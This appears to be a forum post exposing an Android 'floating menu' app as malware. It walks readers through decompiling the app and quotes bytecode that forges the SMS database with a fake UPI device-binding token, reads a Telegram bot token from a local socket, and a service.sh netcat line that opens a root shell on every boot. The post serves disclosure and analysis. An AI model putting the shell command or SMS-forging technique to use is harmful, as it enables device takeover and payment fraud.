The tool doesn't matter. The bytecode is public. Verify it yourself.
Download the zip, extract classes.dex, run:
baksmali d classes.dex -o out
Then open these files:
out/com/floatingmenu/MenuLoader.smali
- Search for applySmsHooks
- Search for createMockSmsCursor
out/com/floatingmenu/FloatingMenu.smali
- Search for loadTelegramConfig
You will find:
1. applySmsHooks:
const-string v0, "android.os.ServiceManager"
... getDeclaredField "sCache"
... Proxy.newProxyInstance
→ Replaces real ISms binder with fake proxy
2. createMockSmsCursor:
const-string v0, "+917319106888"
const-string v1, "NPCI:UPI:DEVICE:BIND:SECURETOKEN:MOCK"
const-string v2, "com.npcivirtual.testapp"
→ Hardcoded inside the method that forges the SMS database
3. loadTelegramConfig:
const-string v0, "
127.0.0.1"
const-string v1, "GET_CONFIG\n"
new-instance Socket → connects to port 48290
→ Reads Telegram bot token and chat_id from the root backdoor
4.
service.sh (plaintext, open it yourself):
nc -s
127.0.0.1 -p 48290 -L /system/bin/sh
→ Root shell open on every boot
This is not AI interpretation. These are raw instructions in the bytecode that anyone can read.
If you believe it's clean, install it on your own device, capture traffic on port 48290, and show us the results. I'll wait.
